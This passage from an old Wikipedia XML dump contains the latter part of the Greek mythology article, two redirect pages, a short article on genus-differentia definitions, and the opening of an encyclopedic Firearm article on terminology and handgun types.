* '''logos''' &amp;mdash; which in classical Greek stands for &quot;a convincing story, an ordered argument&quot;.

In the original sense, therefore, a ''mythology'' is an attempt to bring sense to the stylized narratives that the Greeks recited at festivals, whispered at shrines, and bandied about at aristocratic banquets. Since few breeds of men are more prone to squabbling than poets, priests and aristocrats, contradictions in the material are rife. Moreover, they are part of the fun.

Several types of primary source are available for the study of Greek mythology.
[[Image:Patrocluspederastyscene.jpg|thumb|left|300px|right|[[Achilles]] binds the wound of [[Patroclus]]: the [[Trojan War]] formed a context for many cycles of Greek myth. Patroclus' [[penis]] is exposed to show the [[homosexuality|sexual aspect]] of their [[pederasty|pederastic relationship]]. Such relationships were a common element of [[Mythology of same-sex love|Greek mythology]], most notably that of [[Zeus]] and [[Ganymede (mythology)|Ganymede]].]] 
#The poetry of the Archaic and Classical eras &amp;mdash; composed primarily for performance at cultic festivals or aristocratic banquets, and thus part of ''muthos'' in the Homeric sense. This includes:
#*the [[Homer]]ic [[Odyssey]], [[Iliad]] and [[Homeric Hymns|Hymns]]
#*the [[Hesiod]]ic [[Theogony]].
#*the dramatic works of [[Aeschylus]], [[Sophocles]], [[Euripides]] and [[Aristophanes]]
#*the choral hymns of [[Pindar]] and [[Bacchylides]].
#The work of historians, like [[Herodotus]] and [[Diodorus Siculus]], and geographers, like [[Pausanias (geographer)|Pausanias]] and [[Strabo]], who made travels around the Greek world and noted down the stories they heard at various cities.
#The work of mythographers, who wrote prose treatises based on learned research attempting to reconcile the contradictory tales of the poets. The [[Bibliotheke]] by [[Apollodorus of Athens]] is the largest extant example of this genre.
#The poetry of the [[Hellenistic]] and [[Ancient Rome|Roman]] ages, which although composed as a literary rather than cultic exercise, nevertheless contains many important details that would otherwise be lost. This category includes the works of:
#*The Hellenistic poets [[Apollonius of Rhodes]] and [[Callimachus]].
#*The Roman poets [[Hyginus]], [[Ovid]], [[Statius]], [[Valerius Flaccus]] and [[Virgil]].
#*The [[Late Antiquity|Late Antique]] Greek poets [[Nonnus]] and [[Quintus Smyrnaeus]].
#The ancient novels of [[Apuleius]], [[Petronius]], [[Lollianus]] and [[Heliodorus]].

==An Overview==
The span of stories and characters in Greek mythology ranges from the atrocities of the [[Titan (mythology)|early gods]] to the brutal wars of [[Trojan War|Troy]] and [[Seven Against Thebes|Thebes]], from the youthful pranks of [[Hermes]] to the heartfelt grief of [[Demeter]] for [[Persephone]], all depicted in minute detail.  The cast of characters includes many [[gods]], [[goddess]]es, [[hero]]es, [[heroine]]s, [[monster]]s, [[Daemon (mythology)|daemon]]s, [[nymph]]s, [[satyr]]s, and [[centaur]]s.

While self-contradictions in the stories make an absolute timeline impossible, an approximate chronology may be discerned.  Firstly there is an '''age of gods''', then comes an '''age when men and gods mingled freely''', and this is followed by an '''age of heroes ''', where divine activity was more limited.

While the age of gods has often been of more interest to contemporary students of myth, the Greek authors of the archaic and classical eras had a clear preference for the age of heroes.  For example, the heroic [[Iliad]] and [[Odyssey]] dwarfed the divine-focused [[Theogony]] and [[Homeric Hymns]] in both size and popularity.

[[image:Delphi temple-650px.jpg|thumb|250px|Temple of Apollo at [[Delphi]].]]

===The Age of Gods===
Like their neighbors, the Greeks believed in a  [[wiktionary:pantheon|pantheon]] of [[deity|god]]s and [[goddess]]es who were associated with specific aspects of life. For example, [[Aphrodite]] was the goddess of sexual desire, while [[Ares]] was the god of war and [[Hades]] the god of the dead. Some deities like [[Apollo]] and [[Dionysus]] revealed complex personalities and mixtures of functions, while others like [[Hestia]] (literally &quot;hearth&quot;) and [[Helios]] (literally &quot;sun&quot;), were little more than personifications. There were also site-specific deities, such as river gods and nymphs of springs and caves, and venerated tombs of local heroes and heroines.

Many beings described in Greek myths could be considered &quot;gods&quot; or &quot;heroes,&quot; but some were recognized only in [[folklore]] or were worshipped locally in certain places (e.g. [[Trophonius]]) or at specific festivals (e.g. [[Adonis]]). The most impressive [[Temple (Greek)|temple]]s were for the most part dedicated to a limited number of gods, mainly the [[twelve Olympians]], [[Heracles]] and [[Asclepius]] and occasionally [[Helios]]. These gods were the focus of large pan-Hellenic cults. It was, however, common for individual regions and villages to devote their own cults to [[nymph]]s, minor gods, or local heroes. Many cities also honored the more well-known gods with unusual local rites and associated strange myths with them that were unknown elsewhere.

====The First Gods====
One type of narrative about the age of gods tells the story of the birth and conflicts of the [[Greek primordial gods|first divinities]]: [[Chaos (mythology)|Chaos]], [[Nyx]] (Night), [[Eros (god)|Eros]] (Love), [[Uranus (mythology)|Uranus]] (the Sky), [[Gaia (mythology)|Gaia]] (the Earth), the [[Titan (mythology)|Titans]] and the triumph of [[Zeus]] and the [[Twelve Olympians|Olympians]]. [[Hesiod]]'s [[Theogony]] is an example of this type. It was also the subject of many lost poems, including ones attributed to [[Orpheus]], [[Musaeus]], [[Epimenides]], [[Abaris]] and other legendary seers, which were used in private ritual purifications and [[mystery religion|mystery-rites]]. A few fragments of these works survive in quotations by [[Neoplatonism|Neoplatonist]] philosophers and recently unearthed [[papyrus]] scraps.

The earliest Greek thought about poetry considered the ''theogony'', or song about the birth of the gods, to be the prototypical poetic genre&amp;mdash;the prototypical ''muthos''&amp;mdash;and imputed almost magical powers to it. [[Orpheus]], the archetypal poet, was also the archetypal singer of theogonies, which he uses to calm seas and storms in the ''[[Argonautica]]'', and to move the stony hearts of the underworld gods in his descent to [[Hades]]. When [[Hermes]] invents the [[lyre]] in the ''Homeric Hymn to Hermes'', the first thing he does is to sing the birth of the gods. [[Hesiod]]'s ''[[Theogony]]'' is not only the fullest surviving account of the gods, but also the fullest surviving account of the archaic poet's function, with its long preliminary invocation to the [[Muse]]s.

====New Gods====
Another type tells the story of the birth, struggles and exploits, and eventual ascent into [[Olympus]] of one of the younger generation of gods: [[Apollo]], [[Hermes]], [[Athena]], etc. The [[Homeric Hymns]] are the oldest source of this kind of story. They are often closely associated with cult-centers of the god in question: the ''Homeric Hymn to Apollo'' is a compound of two earlier narratives: one telling of his birth at [[Delos]], the other of his establishment of the oracle at [[Delphi]]. Similarly, the ''Homeric Hymn to [[Demeter]]'', with its tale of the abduction of [[Persephone]] by [[Hades]], narrates the back-story of the [[Eleusinian Mysteries]].

===The Age of Gods and Men===
Bridging the age when gods lived alone and the age when divine interference in human affairs was limited was a transitional age in which gods and men moved freely together.

The most popular type of narrative that confronts gods with early men involves the seduction or rape of a mortal woman by a male god (most often [[Zeus]]), resulting in heroic offspring. In a few cases, a female divinity mates with a mortal man, as in the ''Homeric Hymn to Aphrodite'', where the goddess lies with [[Anchises]] to produce [[Aeneas]]. The marriage of [[Peleus]] and [[Thetis]], which yielded [[Achilles]], is another such myth.

Another type involves the appropriation or invention of some important cultural artifact, as when [[Prometheus]] steals fire from the gods, when [[Tantalus]] steals nectar and ambrosia from Zeus' table and gives it to his own subjects - revealing to them the secrets of the gods, when [[Prometheus]] or [[Lycaon]] invents sacrifice, when [[Demeter]] teaches [[agriculture]] and the [[Eleusinian mysteries|Mysteries]] to [[Triptolemus]], or when [[Marsyas]] invents the [[aulos]] and enters into a musical contest with [[Apollo]].

Yet another type belongs to [[Dionysus]] alone: the god wanders through Greece from foreign lands to spread his cult. He is confronted by a king, [[Lycurgus (Thrace)|Lycurgus]] or [[Pentheus]], who opposes him, and whom he punishes terribly in return.

===The Age of Heroes===
The age of heroes can be broken down around the monumental events of the [[Argonauts|Argonautic]] expedition and the [[Trojan War]]. The Trojan War marks roughly the end of the Heroic Age.

====Early Heroes====
[[Image:Perseus-slays-medusa.jpg|right|thumbnail|250px|Perseus with the Head of [[Medusa (mythology)|Medusa]].]]

Among heroes, [[Heracles]] is practically in a class by himself. His fantastic solitary exploits, with their many [[folk tale]] themes, provided much material for popular legend. His enormous appetite and rustic character also made him a popular figure of comedy, while his pitiful end provided much material for tragedy.

The other members of the earliest generation of heroes, such as [[Perseus]], [[Theseus]] and [[Bellerophon]], have many traits in common with Heracles. Like him, their exploits are solitary, fantastic and border on [[fairy tale]], as they slay monsters like [[Medusa (mythology)|Medusa]] and the [[Chimera (mythology)|Chimera]]. This generation was not as popular a subject for poets; we know of them mostly through mythographers and passing remarks in prose writers. They were, however, favorite subjects of visual [[art]].

====The Generation of the Argonauts====
Nearly every member of the next generation of heroes, as well as [[Heracles]], went with [[Jason]] on the expedition to fetch the [[Golden Fleece]]. This generation also included [[Theseus]], who went to [[Crete]] to slay the [[Minotaur]]; [[Atalanta]], the female heroine; and [[Meleager]], who once had an epic cycle of his own to rival the ''Iliad'' and ''Odyssey''.

====Royal Crimes====
In between the [[Argo]] and the [[Trojan War]], there was a generation known chiefly for its horrific crimes.  This includes the doings of [[Atreus]] and [[Thyestes]] at [[Argos]]; also those of [[Laius]] and [[Oedipus]] at [[Thebes, Greece|Thebes]], leading to the eventual pillage of that city at the hands of the [[Seven Against Thebes]] and [[Epigoni]]. For obvious reasons, this generation was extremely popular among the Athenian tragedians.

[[Image:The Rage of Achilles by Giovanni Battista Tiepolo.jpeg|thumb|right|250px|&quot;The Rage of Achilles&quot; by Giovanni Battista Tiepolo]]

====Troy and the Aftermath====
As the turning point between the Heroic Age and what the Greek considered the historical period, the [[Trojan War]], its preludes and epilogues, outweighs the rest of the age combined in the sheer amount of source material available.  The Trojan cycle includes:
*The events leading up to the war: [[Eris]] and the [[golden apple]] of [[Kallisti]], the [[Judgement of Paris]], the abduction of [[Helen of Troy|Helen]], the sacrifice of [[Iphigenia]] at [[Aulis]].
*The events of the [[Iliad]], including the quarrel of [[Achilles]] with [[Agamemnon]] and the deaths of [[Patroclus]] and [[Hector]].
*The ruse of the [[Trojan Horse]] and the destruction of [[Troy]].
*The homecomings of heroes from Troy, including the wanderings of [[Odysseus]] (the [[Odyssey]]) and [[Aeneas]] (the [[Aeneid]]), and the murder of [[Agamemnon]]
*The children of the Trojan generation: e.g. [[Orestes]] and [[Telemachus]]

==Theories of Origin==
In antiquity, historians such as [[Herodotus]] theorized that the Greek gods had been stolen directly from the [[Egypt]]ians. Later on, Christian writers tried to explain Hellenic paganism through degeneration of [[Biblical]] religion. Since then, the sciences of archaeology and linguistics have been applied to the origins of Greek mythology with some interesting results.

To begin with, extant literary sources indicate that the [[Ancient Greece|ancient Greeks]] used the word &amp;#913;&amp;#953;&amp;#952;&amp;#953;&amp;#959;&amp;#960;&amp;#943;&amp;#945; to refer to a peoples:
* whom they considered sacred, favored by the gods, and
* living immediately to the south of [[ancient Egypt]].
For example, [[Memnon (mythology)|Memnon]] was regarded as one of [[Ancient Greece]]'s noblest heroes. Also, a [[mosaic]] discovered in the ruins of [[Pompeii]] vividly depicts [[Hercules]] as a black man ([http://academic.reed.edu/humanities/110Tech/RomanAfrica2/pompei%26herc1.jpg], [http://academic.reed.edu/humanities/110Tech/RomanAfrica2/#Subject]).

But, historical linguistics, on the one hand, demonstrates that particular aspects of the Greek pantheon were inherited from [[Indo-European]] society, as were the roots of the Greek language.  Thus, for example, the name [[Zeus]] is cognate with Latin [[Jupiter (god)|Jupiter]], [[Sanskrit]] [[Dyaus]] and Germanic [[Tyr]] (see [[Dyeus]]), as is [[Ouranos]] with Sanskrit [[Varuna]].  In other cases, close parallels in character and function suggest a common heritage, yet lack of linguistic evidence makes it difficult to prove &amp;mdash; as in the case of the Greek [[Moirae]] and the [[Norns]] of [[Norse mythology]].

And archaeology, on the other hand, has revealed that the Greeks were inspired by some of the civilizations of Asia Minor and the Near East. [[Cybele]] is rooted in [[Anatolia]]n culture, and much of [[Aphrodite]]'s [[iconography]] springs from the Semitic goddesses [[Ishtar]] and [[Astarte]].

Textual studies reveal multiple layers in tales, such as secondary asides bringing [[Theseus]] into tales of [[The Twelve Labours]] of [[Herakles]]. Such tales concerning tribal [[eponym]]s are thought to originate in attempts to absorb mythology of one tradition into another, in order to unite the cultures.

In addition to Indo-European and Near Eastern origins, some scholars have speculated on the debts of Greek mythology to the still poorly understood pre-Hellenic societies of Greece, such as the [[Minoans]] and so-called [[Pelasgians]].  This is especially true in the case of [[chthonic]] deities and [[mother goddess]]es. For some, the three main generations of gods in [[Hesiod]]'s [[Theogony]] (Uranus, Gaia, etc.; the Titans and then the Olympians) suggest a distant echo of a struggle between social groups, mirroring the three major high cultures of Greek civilization: [[Minoan civilization|Minoan]], [[Mycenaean]] and [[Hellenic]].

The extensive parallels between Hesiod's narrative and the [[Hurrians|Hurrian]] myth of [[Anu]], [[Kumarbi]], and [[Teshub]] makes it very likely that the story is an adaptation of borrowed materials, rather than a distorted historical record. Parallels between the earliest divine generations ([[Chaos (mythology)|Chaos]] and its children) and [[Tiamat]] in the ''[[Enuma Elish]]'' are possible (Joseph Fontenrose, ''Python: A Study of Delphic Myth and Its Origins'': NY, Biblo-Tannen, 1974).

Jungian scholars such as [[Karl Kerenyi]] have preferred to view the origin of myths (and dreams) in universal [[archetype]]s. Though not all readers are confident of interpretations of myth in terms of [[Carl Jung]]'s psychology of dreams (by Kerenyi or [[Joseph Campbell|Campbell]] for examples), most agree that myths are dreamlike in two aspects: they are not consistent, perhaps not wholly consistent even within a single myth-element; and they often reflect some momentary experience of the essence of the godhead, some [[epiphany]], which then must be assembled into a narrative thread, much as dreams are recreated as sequential happenings.

In sum, the origins of Greek mythology remain a fascinating and open question.

==Did the Greeks believe their myths?==
&quot;Our own myths we call reality&quot; is one of the axioms with which Carl A.P. Ruck and Danny Staples commence ''The World of Classical Myth''; to the Greeks, mythology was a part of their history; few ever doubted that there was truth behind the account of the [[Trojan War]] in the ''[[Iliad]]'' and ''[[Odyssey]]''. The Greeks used myth to explain natural phenomena, cultural variations, traditional enmities, and friendships. It was a source of pride to be able to trace one's descent from a mythological hero or a god.

Sophisticated Greeks experienced a cultural crisis in the [[5th century BC]], when increased literacy and the development of logic forced a more comparative skeptical turn of mind, a crisis of which [[Socrates]] was the most famous victim.

On the other hand, a few radical philosophers like [[Xenophanes]] were already beginning to label the poets' tales as blasphemous lies in the [[6th century BC]]; this line of thought found its most sweeping expression in [[Plato]]'s ''[[Plato's Republic|Republic]]'' and ''Laws''. More sportingly, the 5th century BC [[tragedy|tragedian]] [[Euripides]] often played with the old traditions, mocking them, and through the voice of his characters injecting notes of doubt. In other cases Euripides seems to be directing pointed criticism at the behavior of his gods.

Alexandrian poets at first, then more generally literary mythographers in the early Roman Empire, often adapted stories of characters in Greek myth in ways that did not reflect earlier actual beliefs. Many of the most popular versions of these myths that we have today were actually from these fictional retellings, which may blur the archaic beliefs. 

===Hellenistic Rationalism===
The skeptical turn of the Classical age became even more pronounced in the [[Hellenistic]] era. Most daringly, the mythographer [[Euhemerus]] claimed that stories about the gods were only confused memories of the cruelty of ancient kings. Although Euhemerus's works are lost, interpretations in his style are frequently found in [[Diodorus Siculus]].

Rationalizing [[hermeneutic]]s of myth became even more popular under the [[Roman Empire]], thanks to the physicalist theories of [[Stoicism|Stoic]] and [[Epicureanism|Epicurean]] philosophy, as well as the pragmatic bent of the Roman mind. The antiquarian [[Marcus Terentius Varro|Varro]], summarizing centuries' worth of philosophic tradition, distinguished three kinds of gods:
* The gods of nature: personifications of phenomena like rain and fire.
* The gods of the poets: invented by unscrupulous bards to stir the passions.
* The gods of the city: invented by wise legislators to soothe and enlighten the populace.
[[Cicero]]'s ''De Natura Deorum'' is the most comprehensive summary of this line of thought.

===Syncretizing Trends===
One unexpected side-effect of the rationalist view was a popular trend to syncretize multiple Greek and foreign gods in strange, nearly unrecognizable new cults. If [[Apollo]] and [[Serapis]] and [[Sabazios]] and [[Dionysus]] and [[Mithras]] were all really [[Helios]], why not combine them all together into one [[Sol Invictus|Deus Sol Invictus]], with conglomerated rites and compound attributes? The surviving [[2nd century|2nd century AD]] collection of [[Orpheus|Orphic Hymns]] and [[Macrobius]]'s ''Saturnalia'' are products of this mind-set.

But though Apollo might in religion be increasingly identified with Helios or even Dionysus, texts retelling his myths seldom reflected such developments. The traditional literary mythology was increasingly dissociated from actual religious practice.

==Modern Interpreters==
A bibliography of modern works on Greek myth, beginning from [[Giovanni Boccaccio|Boccaccio]]'s '' Genealogia degli Dei de Gentili'': [http://homepage.mac.com/cparada/GML/Bibliography2.html Carlos Parada, Greek Mythology Link].
The developers of modern mythography and [[hermeneutics]], starting from Bulfinch's genteel Christian tradition, in approximate chronological order:

*[[Thomas Bulfinch]]
*[[Johann Jakob Bachofen]]
*[[James George Frazer]]
*[[Jane Ellen Harrison]]
*[[Walter Burkert]]
*[[Otto Rank]]
*[[Carl Jung]]
*[[Walter Otto]]
*[[Edith Hamilton]]
*[[Karl Kerenyi]]
*[[Robert Graves]]
*[[Claude Lévi-Strauss]]
*[[Michael Grant]]
*[[Joseph Campbell]]
*[[Timothy Gantz]]
*[[H.R. Rose]]

==See also==
* [[List of Greek mythological characters]]
* [[List of Greek mythological creatures]]
* [[Odysseus]]
* [[Family tree of the Greek gods]]
* [[Greek religion]]
* [[Classical mythology]]
* [[Similarities between Roman, Greek, and Etruscan mythologies]]

===Greek Cosmology===
* [[Elysium]]
* [[Hades]]
* [[Helicon]]
* [[Hyperborea]] (Hyperboria)
* [[Lethe]]
* [[Mount Olympus]] (Olýmpos)
* [[Styx (mythology)|Styx]]
* [[Tartarus]] (Tartaros)

===Related Subjects===
* [[List of movies based on Greco-Roman mythology]]
* [[Mythology of same-sex love]]
* [[Paganism]]
* [[Roman mythology]]
* [[Roman religion]]

==External links==
* [http://www.theoi.com/ A Guide to Greek Gods, Spirits and Monsters] a guide to the Ancient Greek Pantheon of Gods (''Theoi''), Spirits (''Daimones'') and Monsters (''Theres'') from various classical texts and illustrations from ancient greek vase painting.
* [http://www.timelessmyths.com/classical Timeless Myths: Classical Mythology] provides information and tales from classical literature.
* [http://www.greekmythology.com/ Greek Mythology] provides a complete overview of Greek myths.
* [http://www.perseus.tufts.edu/cache/perscoll_Greco-Roman.html Perseus Digital Library] contains full-text documents of classical sources and modern commentaries on Greek, Roman, and Modern literature, philosophy and history. It has also images of ancient objects.
* [http://www.androphile.org/preview/Library/Mythology/Greek/GreekMythology.htm The Androphile Library Greek mythology section] presents brief renditions of the Greek myths of male love.
* [http://homepage.mac.com/cparada/GML/ Greek Mythology Link]

==Sources==
The main sources for Greek myth are [[Homer]], [[Hesiod]], the Greek dramatists, [[Pindar]], [[Apollonius of Rhodes]], [[Apollodorus]], and the Latins [[Ovid]], [[Hyginus]] and [[Nonnus]].

Standard secondary sources in English include:
*[[Walter Burkert]] (1985) ''Greek Religion,'' Harvard University Press, 1985.
*[[Robert Graves|Graves, Robert]], ''The Greek Myths'' 1955.
* Lenardon, R. and M. Morford, ''Classical Mythology: Seventh Edition'', Oxford 2002.
* Carl Ruck and Danny Staples, ''The World of Classical Myth,'' 1994.
*[[Karl Kerenyi|Kerenyi, Karl]], ''The Gods of the Greeks'' 1951.
*[[Karl Kerenyi|Kerenyi, Karl]], ''The Heroes of the Greeks'' 1959.
*[[Edith Hamilton]], ''[[Mythology (book)|Mythology: Timeless Tales of Gods and Heroes]].'' 1942.

Influential, more specialized studies include:
*Nagy, Gregory, ''The Best of the Achaeans'', Johns Hopkins, 1979.
*[[Jane Ellen Harrison]], ''Prolegomena to the Study of Greek Religion,'' 1903
*[[Karl Kerenyi]], ''Eleusis: archetypal image of mother and daughter,'' 1967.
*[[Karl Kerenyi]], ''Dionysos: Archetypal Image of Indestructible Life,'' 1976

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[[vi:Thần thoại Hy Lạp]]
[[tr:Yunan mitolojisi]]
[[uk:Давньогрецька релігія]]
[[zh:希腊神话]]</text>
    </revision>
  </page>
  <page>
    <title>Gods</title>
    <id>11962</id>
    <revision>
      <id>24919402</id>
      <timestamp>2005-10-06T20:47:48Z</timestamp>
      <contributor>
        <username>Reinyday</username>
        <id>100726</id>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Deity]]</text>
    </revision>
  </page>
  <page>
    <title>Gottleib Fichte</title>
    <id>11963</id>
    <revision>
      <id>15909672</id>
      <timestamp>2004-10-09T17:39:06Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Johann Gottlieb Fichte]]</text>
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  </page>
  <page>
    <title>Genus-differentia definition</title>
    <id>11964</id>
    <revision>
      <id>42039944</id>
      <timestamp>2006-03-03T11:17:18Z</timestamp>
      <contributor>
        <username>Hyacinth</username>
        <id>17171</id>
      </contributor>
      <comment>[[Category:Definition]]</comment>
      <text xml:space="preserve">A '''genus-differentia [[definition]]''' is one in which a word or concept that indicates a ''species'' -- a specific type of item, not necessarily a biological category -- is described first by a broader category, the ''genus,'' then distinguished from other items in that category by ''differentia.''  The differentiae of a species are the species' properties that ''other'' members of the genus do not have.  In short, the genus is the broad category, the species is a type within that category, and the differentiae are the distinguishing characteristics of the species. This is a type of [[intensional definition]].

Under the &quot;genus&quot; and &quot;species&quot; description, this sort of definition is used to categorize different plants, animals and other things into biological categories.  See also [[genus]] and [[species]] and [[Linnaean taxonomy]].

This can be clarified with a hackneyed example.  Suppose we wanted to define the phrase '''human being'''.  Following the ancient Greeks (Socrates and his successors) and modern biologists, we say that human beings are members of a ''species''.  So we ask what the genus, or general category, of the species is; the Greeks (but not the biologists) would say that the genus is ''animal''.  The genus, then, is animal and the species is human being.  What are the ''differentia'' of the species, that is, the distinguishing characteristics, that is, the properties that human beings have, that other animals do not have?  The Greeks said it is ''rationality'': the things that humans have that other animals do not is ''rationality''.  So rationality is the differentia of the human species, according to the ancient Greeks; thus Aristotle said, &quot;Man is the rational animal.&quot;  By this he meant to be giving a ''definition'' of &quot;man,&quot; or of &quot;human being.&quot;

However, the use of the genus-differentia definition is by no means restricted to science. Rather, it is the natural thing to do if you are to explain the meaning of a particular word to someone. With this, the &quot;classical&quot; type of definition (''Definitio fit per genus proximum et differentiam specificam.''), you use the ''copula'' (''is'', ''are'') after the ''definiendum'' (just as if you were using an equals sign in a mathematical equation) and then go on to explain the definiendum by using the appropriate ''generic term'' plus those characteristics specific to the thing you are describing which consecutively narrow down the meaning until the definiendum can no longer be confused with anything else.

Some examples from everyday life:

*A '''[[paperweight]]''' is a small, heavy object which is placed on papers to prevent them from being scattered.

:paperweight -- definiendum
:object -- generic term
:small but heavy, placed on papers, reason why -- differentiae specificae

*'''[[Homesickness]]''' is the feeling of unhappiness you may experience when you are away from home and miss your home and your family very much.

*'''[[Subtitles]]''' are the printed translation that you can read at the bottom of the screen when you are watching a foreign film.

*In film and broadcasting, a '''[[soundbite]]''' is a very short piece of footage taken from a longer speech or interview in which someone with authority says something which is considered by those who edit the speech or interview to be a most important point.

*A '''[[mosque]]''' is a building, often with high towers and domes, where Muslims go to worship.

[[Category:Definition]]</text>
    </revision>
  </page>
  <page>
    <title>Firearm</title>
    <id>11966</id>
    <revision>
      <id>41967441</id>
      <timestamp>2006-03-02T23:03:29Z</timestamp>
      <contributor>
        <username>Lomn</username>
        <id>330864</id>
      </contributor>
      <minor />
      <comment>/* Handgun */ fix image tag</comment>
      <text xml:space="preserve">[[Image:firearms.jpg|thumb|An assortment of modern firearms using fixed ammunition, including military assault rifles, a sporting shotgun (fourth from bottom), and a tactical shotgun (third from bottom).]]

A '''firearm''' is a [[weapon]] that fires either single or multiple [[projectile]]s propelled at high velocity by the [[gas]]es produced through rapid, confined [[combustion|burning]] of a [[propellant]]. This process of rapid burning is technically known as [[deflagration]]. In older firearms, this propellant was typically [[black powder]], but modern firearms use [[smokeless powder]] or other propellants.

The term '''[[gun]]''' is often used as a synonym for firearm, but in specialist use has a restricted sense&amp;mdash;referring only to an [[artillery]] piece with a relatively high muzzle velocity and a relatively flat trajectory, such as a [[field gun]], a [[tank gun]], an [[anti-tank gun]], or a gun used in the delivery of [[naval gunfire]]. Guns are distinct from [[howitzers]] and [[mortar (weapon)|mortars]], which have lower muzzle velocities and higher trajectories. Hand-held firearms, like [[rifles]], [[carbines]], [[pistols]] and other small firearms are never called &quot;guns&quot; in the restricted sense, and among specialists, such a designation indicate ignorance of the subject.

Accordingly, the term '''[[machine gun]]''' is not a misnomer.  Although such weapons fire small caliber ammunition (generally 14.5mm or smaller), they nevertheless have a flat projectile trajectory and a beaten zone, just like any other gun.  Machine guns can be deployed in direct and indirect fire missions in a manner similar to artillery guns.  Additionally, machine guns are crew served weapons, requiring the services of more than one crewman, just like any other gun.  Generally, an automatic weapon designed for a single user is referred to as an [[automatic rifle]].

In recent centuries, firearms have become the predominant weapons used by mankind. Modern [[warfare]] since the late [[Renaissance]] has relied upon firearms, with wide-ranging effects on [[military]] [[history]] and history in general. The Moors introduced firearms in Europe, when Iberia was under their rule. This created a whole new kind of battle, which molded modern-era armies.

For handguns and long guns, the projectile is a [[bullet]] or, in historical cannons, a cannonball. The projectile is fired by the burning of the propellant, but in small arms rarely contains explosives itself. For modern artillery the projectile is a [[shell (projectile)|shell]], which nearly always contains explosives.

A distinction is sometimes made between the projectile itself as the weapon and the firearm as a [[weapons platform]]. In some cases, the firearm can be used directly as a weapon without firing a projectile, although this is virtually always a secondary method of attack.  For example, arms such as rifles, muskets, and occasionally [[submachine gun]]s can have [[bayonet]]s affixed to them, becoming in effect a [[spear]] or [[pike (weapon)|pike]]. With some notable exceptions, the [[stock (firearm)|stock]] of a long gun can be used as a [[club]]. It is also possible to strike someone with the barrel of a handgun or grasp it by the barrel and strike someone with the butt. This is called &quot;pistol-whipping&quot;.

A problem for firearms is the accumulation of waste products from the partial combustion of [[propellants]], metallic residue from the [[bullet]] itself, and small flecks of the cartridge case.  These waste products can interfere with the internal functions of the firearm.  As a result, regularly used firearms must be periodically partially disassembled, cleaned and lubricated to ensure the weapon's reliability.

Firearms are sometimes referred to as [[small arms]]. Small arms are weapons which can be carried by a single individual, generally very portable, with a [[barrel]] [[bore]] of up to approximately 0.50 inch (12.7&amp;nbsp;mm).  Small arms are aimed visually at their targets by hand using optical sights.  The range of accuracy for small arms is generally limited to about one mile (1600&amp;nbsp;m), usually considerably less, although the current record for a successful [[Sniper]] attack is slightly more than 1 1/2 miles.  Artillery guns are much larger than these weapons, mounted on a movable carriage, having bores of up to 18 inches (46&amp;nbsp;cm) and possibly weighing many tons. Artillery can be accurate at ranges of up to about 26 miles (42&amp;nbsp;km) and, with some notable exceptions (e.g., tank guns), are aimed using altitude/azimuth settings. Strictly speaking, such weapons are not firearms.

Generally speaking, a firearm is a weapon that an individual can use to arm his or herself.  A useful description of this concept can be found in the [[American_constitution#Second_Amendment|Second Amendment of the US Constitution]].  In this document, reference is made to a right to 'keep and bear arms'.  Clearly, this text is referring to firearms, or weapons that can be borne by a single individual.  Such a classification does not apply to a gun.

==Small arms==
===Handgun===

[[Image:Pistolet-marine-19e-1.png|thumb|19th century pistol from the French Navy.]]

The smallest of all small arms is the handgun which is perhaps more commonly called a &quot;[[pistol]]&quot;.  There are three common types of handguns: [[single-shot]] pistols (more common historically), [[revolvers]], and [[semi-automatic]] pistols.  Revolvers have a number of firing chambers in a revolving cylinder; each chamber in the cylinder is loaded with a single cartridge.  Semi-automatic pistols have a single fixed firing chamber and a removable magazine so they can be used to fire several shots.

[[Image:SAA_P1870.jpg|thumb|Modern version of [[Colt's Manufacturing Company|Colt's]] famous &quot;[[Single Action Army]]&quot; revolver.]]

Handguns differ from rifles and shotguns in that they do not have shoulder stock and are designed to be fired with one or two hands.  While the term 'pistol' defines any handheld firearm, it is common to refer to a single-shot or auto-loading handgun as a 'pistol' and a revolver as a 'revolver'.

[[Image:M1911_Pistol_US.jpg|thumb|[[M1911]], [[United States Army|US Army]] designation for [[Colt Manufacturing Company|Colt]]'s .45 semi-automatic.]]

The term 'automatic pistol' is sometimes used and is somewhat misleading in that the term 'automatic' does not refer to the firing mechanism, but rather the reloading mechanism.  When fired, an automatic pistol uses recoil and/or propellent gases to automatically extract the spent cartridge and insert a fresh one from a magazine.  Usually (but not always) the firing mechanism is automatically cocked as well.  An automatic pistol fires one shot per trigger pull, unlike an automatic weapon such as a machine gun, which fires as long as the trigger is held down.  There are, however, some fully-automatic handguns (often referred to as machine pistols) so, to avoid such ambiguity and confusion, the term semi-automatic (or semiautomatic) is preferred when referring to a weapon that fires only one shot per trigger pull.

Prior to the 19th century, all handguns were single-shot muzzleloaders. With the invention of the revolver in 1818, handguns capable of holding multiple rounds became popular. At the end of the 20th century, most handguns are [[semi-automatic self-loading pistol|semi-automatic]], although revolvers are still widely used.  Generally speaking, military and police forces use automatic pistols due to their high magazine capacities (10, 15, 17 or, in some cases, up to 25+ rounds of ammunition) and ability to rapidly reload by simply removing the empty magazine and inserting a new one.  Handgun hunters use revolvers almost exclusivly due to the fact that hunting cartridges are generally much more powerful than autopistol cartridges and the simplicity and durability of the revolver design is well-suited to them.  Lawfully armed citizens carry either type, depending on personal preference.

Handguns come in many shapes and sizes.  For example, the &quot;[[derringer]]&quot; (a generic term based on the mid-19th-century &quot;Deringer&quot; brand name) is a very small, short-barreled handgun, usually with one or two barrels but sometimes more (some 19th-century derringers had four barrels) that have to be manually reloaded after being fired. Carefully matched single-shot [[duelling pistol]]s were used primarily in the 18th and 19th centuries to settle serious differences among &quot;gentlemen&quot;:  [[Alexander Hamilton]] and [[Aaron Burr]] are probably the most prominent Americans who used duelling pistols to settle their differences.  Fully automatic, relatively easily concealed [[machine pistol]]s, such as the MAC-10, Glock Model 18, and the Beretta 93R, were a late 20th-century development.

